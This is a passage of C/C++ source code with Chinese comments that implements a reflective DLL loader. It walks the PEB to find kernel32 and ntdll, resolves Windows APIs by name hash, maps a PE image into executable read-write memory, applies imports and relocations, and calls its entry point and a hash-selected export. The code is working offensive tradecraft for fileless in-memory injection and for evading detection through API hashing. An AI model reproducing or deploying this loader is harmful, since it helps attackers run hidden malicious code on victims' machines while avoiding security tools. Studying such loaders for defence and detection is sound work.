REFLECTIVELOADER::LPFN_VIRTUALALLOC VirtualAlloc = NULL;
REFLECTIVELOADER::LPFN_EXITTHREAD ExitThread = NULL;
REFLECTIVELOADER::LPFN_EXITTHREAD RtlExitUserThread = NULL;
REFLECTIVELOADER::LPFN_NTFLUSHINSTRUCTIONCACHE NtFlushInstructionCache = NULL;
//获得目标进程中Peb
#ifdef _WIN64
Peb = (PPEB)__readgsqword(0x60);
#else
#ifdef _WIN32
Peb = (PPEB)__readfsdword(0x30);
#else
#endif
#endif
Ldr = (ULONG_PTR)Peb->Ldr; //Ldr中有三根链表 当前进程中加载的所有模块
LdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)((PPEB_LDR_DATA)Ldr)->InMemoryOrderModuleList.Flink;
while (LdrDataTableEntry)
{
//获得当前进程加载的模块名
ModuleName = (ULONG_PTR)LdrDataTableEntry->FullDllName.Buffer; //双字
//获得模块大小
ModuleNameLength = LdrDataTableEntry->FullDllName.Length;
ModuleHashValue = 0;
//将目标进程的中的模块名经过算法转换为Hash值
do
{
ModuleHashValue = ror((DWORD)ModuleHashValue);
if (*((BYTE*)ModuleName) >= 'a') //转换为大写
{
ModuleHashValue += *((BYTE*)ModuleName) - 0x20;
}
else
{
ModuleHashValue += *((BYTE*)ModuleName);
}
ModuleName++;
} while (--ModuleNameLength);
//将计算后的Hash值与我们的Hash值进行比较,是否为Kernel32
if ((DWORD)ModuleHashValue == KERNEL32_MODULE_HASH)
{
//获得Kerner32.dll的模块地址
ModuleBase = (ULONG_PTR)LdrDataTableEntry->Reserved2[0];
//获得Nt头基地址
ImageNtHeaders = (ModuleBase + ((PIMAGE_DOS_HEADER)ModuleBase)->e_lfanew);
//定位到数据目录的导出表项
ImageDataDirectory = (UINT_PTR)&((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
//导出表地址
ImageExportDirectory = (ModuleBase + ((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->VirtualAddress);
//函数名地址
AddressOfNames = (ModuleBase + ((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfNames);
//函数序号地址
AddressOfNameOrdinals = (ModuleBase + ((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfNameOrdinals);
NumberOfNames = ((PIMAGE_EXPORT_DIRECTORY )ImageExportDirectory)->NumberOfNames;
IsLoop = 4;
while (IsLoop > 0 && NumberOfNames > 0)
{
// 将Kernel32中的导出函数名转换为Hash值
HashValue = MakeHashValue((char *)(ModuleBase + DEREFERENCE_32(AddressOfNames)));
// 如果和我们需要的函数Hash值相等
if (HashValue == LOADLIBRARYA_HASH || HashValue == GETPROCADDRESS_HASH || HashValue == VIRTUALALLOC_HASH ||HashValue == EXITTHREAD_HSAH)
{
//获得函数地址
AddressOfFunctions = (ModuleBase +((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfFunctions);
AddressOfFunctions += (DEREFERENCE_16(AddressOfNameOrdinals) * sizeof(DWORD));
// 获得函数的绝对地址,并赋值给函数指针
if (HashValue == LOADLIBRARYA_HASH)
LoadLibraryA = (REFLECTIVELOADER::LPFN_LOADLIBRARYA)(ModuleBase + DEREFERENCE_32(AddressOfFunctions));
else if (HashValue == GETPROCADDRESS_HASH)
GetProcAddress = (REFLECTIVELOADER::LPFN_GETPROCADDRESS)(ModuleBase + DEREFERENCE_32(AddressOfFunctions));
else if (HashValue == VIRTUALALLOC_HASH)
VirtualAlloc = (REFLECTIVELOADER::LPFN_VIRTUALALLOC)(ModuleBase + DEREFERENCE_32(AddressOfFunctions));
else if (HashValue == EXITTHREAD_HSAH)
ExitThread = (REFLECTIVELOADER::LPFN_EXITTHREAD)(ModuleBase + DEREFERENCE_32(AddressOfFunctions));
IsLoop--;
}
// 获取下一个函数名的地址
AddressOfNames += sizeof(DWORD);
// 获取下一个函数序号的地址
AddressOfNameOrdinals += sizeof(WORD);
NumberOfNames--;
}
}
//在目标进程中查询Ntdll动态库
else if ((DWORD)ModuleHashValue == NTDLL_MODULE_HASH)
{
// 获得该模块的基地址
ModuleBase = (ULONG_PTR)LdrDataTableEntry->Reserved2[0];
// 获得Nt头的基地址
ImageNtHeaders = (ModuleBase + ((PIMAGE_DOS_HEADER)ModuleBase)->e_lfanew);
//该模块的导出表结构
ImageDataDirectory = (UINT_PTR)&((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
//导出表地址
ImageExportDirectory = (ModuleBase + ((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->VirtualAddress);
AddressOfNames = (ModuleBase + ((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfNames);
AddressOfNameOrdinals = (ModuleBase + ((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfNameOrdinals);
NumberOfNames = ((PIMAGE_EXPORT_DIRECTORY )ImageExportDirectory)->NumberOfNames;
IsLoop = 2;
while (IsLoop > 0&&NumberOfNames>0)
{
HashValue = MakeHashValue((char *)(ModuleBase + DEREFERENCE_32(AddressOfNames)));
if (HashValue == NTFLUSHINSTRUCTIONCACHE_HASH || HashValue == RTLEXITUSERTHREAD_HASH)
{
AddressOfFunctions = (ModuleBase +
((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfFunctions);
AddressOfFunctions += (DEREFERENCE_16(AddressOfNameOrdinals) * sizeof(DWORD));
if (HashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
NtFlushInstructionCache = (REFLECTIVELOADER::LPFN_NTFLUSHINSTRUCTIONCACHE)(ModuleBase
+ DEREFERENCE_32(AddressOfFunctions));
else if (HashValue == RTLEXITUSERTHREAD_HASH)
RtlExitUserThread = (REFLECTIVELOADER::LPFN_EXITTHREAD)(ModuleBase +
DEREFERENCE_32(AddressOfFunctions));
IsLoop--;
}
AddressOfNames += sizeof(DWORD);
AddressOfNameOrdinals += sizeof(WORD);
NumberOfNames--;
}
}
// Kernel32中的导出函数全部获得
if (LoadLibraryA && GetProcAddress && VirtualAlloc && ExitThread && NtFlushInstructionCache)
{
break;
}
LdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)DEREFERENCE(LdrDataTableEntry);
}
//定位到Nt头
ImageNtHeaders = (BufferData + ((PIMAGE_DOS_HEADER)BufferData)->e_lfanew);
//申请内存
VirtualAddress = (ULONG_PTR)VirtualAlloc(NULL,
((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//文件大小
SizeOfHeaders = ((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.SizeOfHeaders;
v1 = (BYTE*)BufferData; //目标进程
v2 = (BYTE*)VirtualAddress; //当前进程
//将PE头部内容拷贝到ImageBase处
while (SizeOfHeaders--)
{
*(BYTE *)v2++ = *(BYTE *)v1++;
}
// 定位到区段表
ULONG_PTR ImageSectionHeader = ((ULONG_PTR)&((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader +
((PIMAGE_NT_HEADERS)ImageNtHeaders)->FileHeader.SizeOfOptionalHeader);
// 区段数
NumberOfSections = ((PIMAGE_NT_HEADERS)ImageNtHeaders)->FileHeader.NumberOfSections;
while (NumberOfSections--)
{
// 内存中的区段地址
SectionVirtualAddress = (VirtualAddress + ((PIMAGE_SECTION_HEADER)ImageSectionHeader)->VirtualAddress);
// 文件中的区段地址
SectionPointerToRawData = (BufferData + ((PIMAGE_SECTION_HEADER)ImageSectionHeader)->PointerToRawData);
// 文件中的区段大小
SizeOfRawData = ((PIMAGE_SECTION_HEADER)ImageSectionHeader)->SizeOfRawData;
// 将文件中的区段数据复制到内存地址处
while (SizeOfRawData--)
*(BYTE *)SectionVirtualAddress++ = *(BYTE *)SectionPointerToRawData++;
// 开始处理下一个区段
ImageSectionHeader += sizeof(IMAGE_SECTION_HEADER);
}
// 导入表项
ImageDataDirectory = (ULONG_PTR)&((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
// 导入表起始地址
ImageImportDescriptor = (VirtualAddress + ((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->VirtualAddress);
// 从起始地址开始,加载每一个Dll和Dll中的导入函数
while (((PIMAGE_IMPORT_DESCRIPTOR)ImageImportDescriptor)->Name)
{
// Dll基地址
ModuleBase = (ULONG_PTR)LoadLibraryA((LPCSTR)(VirtualAddress + ((PIMAGE_IMPORT_DESCRIPTOR)ImageImportDescriptor)->Name));
// 函数名数组的基地址
OriginalFirstThunk = (VirtualAddress + ((PIMAGE_IMPORT_DESCRIPTOR)ImageImportDescriptor)->OriginalFirstThunk);
// 需要修正的导入函数地址表
FirstThunk = (VirtualAddress + ((PIMAGE_IMPORT_DESCRIPTOR)ImageImportDescriptor)->FirstThunk);
while (DEREFERENCE(FirstThunk))
{
// 索引导入
if (OriginalFirstThunk && ((PIMAGE_THUNK_DATA)OriginalFirstThunk)->u1.Ordinal & IMAGE_ORDINAL_FLAG)
{
// 按索引号搜索Dll中对应的导出表中的导出函数
ImageNtHeaders = ModuleBase + ((PIMAGE_DOS_HEADER)ModuleBase)->e_lfanew;
// 需要修正某个Dll的导入表,查看该Dll的导出函数
ImageDataDirectory = (ULONG_PTR)&((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
ImageExportDirectory = (ModuleBase + ((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->VirtualAddress);
AddressOfFunctions = (ModuleBase + ((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfFunctions);
//导入函数地址 = (导入表索引 - Base) * 4 + 起始地址
AddressOfFunctions += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)OriginalFirstThunk)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->Base) * sizeof(DWORD));
//将FirstThunk中的内容修改为真正函数地址
DEREFERENCE(FirstThunk) = (ModuleBase + DEREFERENCE_32(AddressOfFunctions));
}
else
{
//修正名称导入的函数地址
ImageImportByName = (VirtualAddress + DEREFERENCE(OriginalFirstThunk));
//将函数名导入的函数地址填入到IAT中
DEREFERENCE(FirstThunk) = (ULONG_PTR)GetProcAddress((HMODULE)ModuleBase,
(LPCSTR)((PIMAGE_IMPORT_BY_NAME)ImageImportByName)->Name);
}
FirstThunk += sizeof(ULONG_PTR);
if (OriginalFirstThunk)
OriginalFirstThunk += sizeof(ULONG_PTR);
}
ImageImportDescriptor += sizeof(IMAGE_IMPORT_DESCRIPTOR);
}
//重定位表,计算实际加载Image的地址和ImageBase的差值
ImageNtHeaders = VirtualAddress + ((PIMAGE_DOS_HEADER)VirtualAddress)->e_lfanew;
Diff = VirtualAddress - ((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.ImageBase;
//代表重定向表的目录
ImageDataDirectory = (ULONG_PTR)&((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
if (((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->Size)
{
//定位到重定向表
ImageBaseRelocation = (VirtualAddress + ((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->VirtualAddress);
//重定位表每一项包含一个起始地址和若干个WORD型的偏移地址,组合后为需要重定位的地址
while (((PIMAGE_BASE_RELOCATION)ImageBaseRelocation)->SizeOfBlock)
{
//重定向表中的word表
v3 = (VirtualAddress + ((PIMAGE_BASE_RELOCATION)ImageBaseRelocation)->VirtualAddress);
ImageBaseRelocationItemCount = (((PIMAGE_BASE_RELOCATION)ImageBaseRelocation)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_BASE_RELOCATION_ITEM);
ImageBaseRelocationItem = ImageBaseRelocation + sizeof(IMAGE_BASE_RELOCATION);
while (ImageBaseRelocationItemCount--)
{
if (((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Type == IMAGE_REL_BASED_DIR64)
{
*(ULONG_PTR *)(v3 + ((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Offset) += Diff;
}
else if (((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Type == IMAGE_REL_BASED_HIGHLOW)
{
*(DWORD *)(v3 + ((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Offset) += (DWORD)Diff;
}
else if (((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Type == IMAGE_REL_BASED_HIGH)
{
*(WORD *)(v3 + ((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Offset) += HIWORD(Diff);
}
else if (((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Type == IMAGE_REL_BASED_LOW)
{
*(WORD *)(v3 + ((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Offset) += LOWORD(Diff);
}
ImageBaseRelocationItem += sizeof(IMAGE_BASE_RELOCATION_ITEM);
}
ImageBaseRelocation = ImageBaseRelocation + ((PIMAGE_BASE_RELOCATION)ImageBaseRelocation)->SizeOfBlock;
}
}
//入口地址
AddressOfEntryPoint = (VirtualAddress + ((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.AddressOfEntryPoint);
NtFlushInstructionCache((HANDLE)-1, NULL, 0);
((REFLECTIVELOADER::LPFN_DLLMAIN)AddressOfEntryPoint)((HINSTANCE)VirtualAddress, DLL_PROCESS_ATTACH, ParameterData);
ImageNtHeaders = VirtualAddress + ((PIMAGE_DOS_HEADER)VirtualAddress)->e_lfanew;
do
{
ImageDataDirectory = (ULONG_PTR)&((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
if (((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->Size == 0)
{
break;
}
ImageExportDirectory = (VirtualAddress + ((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->VirtualAddress);
if (((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->NumberOfNames == 0 ||
((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->NumberOfFunctions == 0)
{
break;
}
AddressOfNames = (VirtualAddress + ((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfNames);
AddressOfNameOrdinals = (VirtualAddress + ((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfNameOrdinals);
NumberOfNames = ((PIMAGE_EXPORT_DIRECTORY )ImageExportDirectory)->NumberOfNames;
while (NumberOfNames > 0)
{
HashValue = MakeHashValue((char *)(VirtualAddress + DEREFERENCE_32(AddressOfNames)));
if (HashValue == FunctionHashValue)
{
AddressOfFunctions = (VirtualAddress +
((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfFunctions);
AddressOfFunctions += (DEREFERENCE_16(AddressOfNameOrdinals) * sizeof(DWORD));
AddressOfFunctions = VirtualAddress + DEREFERENCE_32(AddressOfFunctions);
IsOk = TRUE;
break;
}
AddressOfNames += sizeof(DWORD);
AddressOfNameOrdinals += sizeof(WORD);
NumberOfNames--;
}
if (IsOk == FALSE)
{
break;
}
if (!((REFLECTIVELOADER::LPFN_MYFUNCTION)AddressOfFunctions)(UserData, UserDataLength))
{
break;
}
ExitCode = 0;
} while (0);
if (RtlExitUserThread)
{
RtlExitUserThread(ExitCode);
}
else
{
ExitThread(ExitCode);
}
}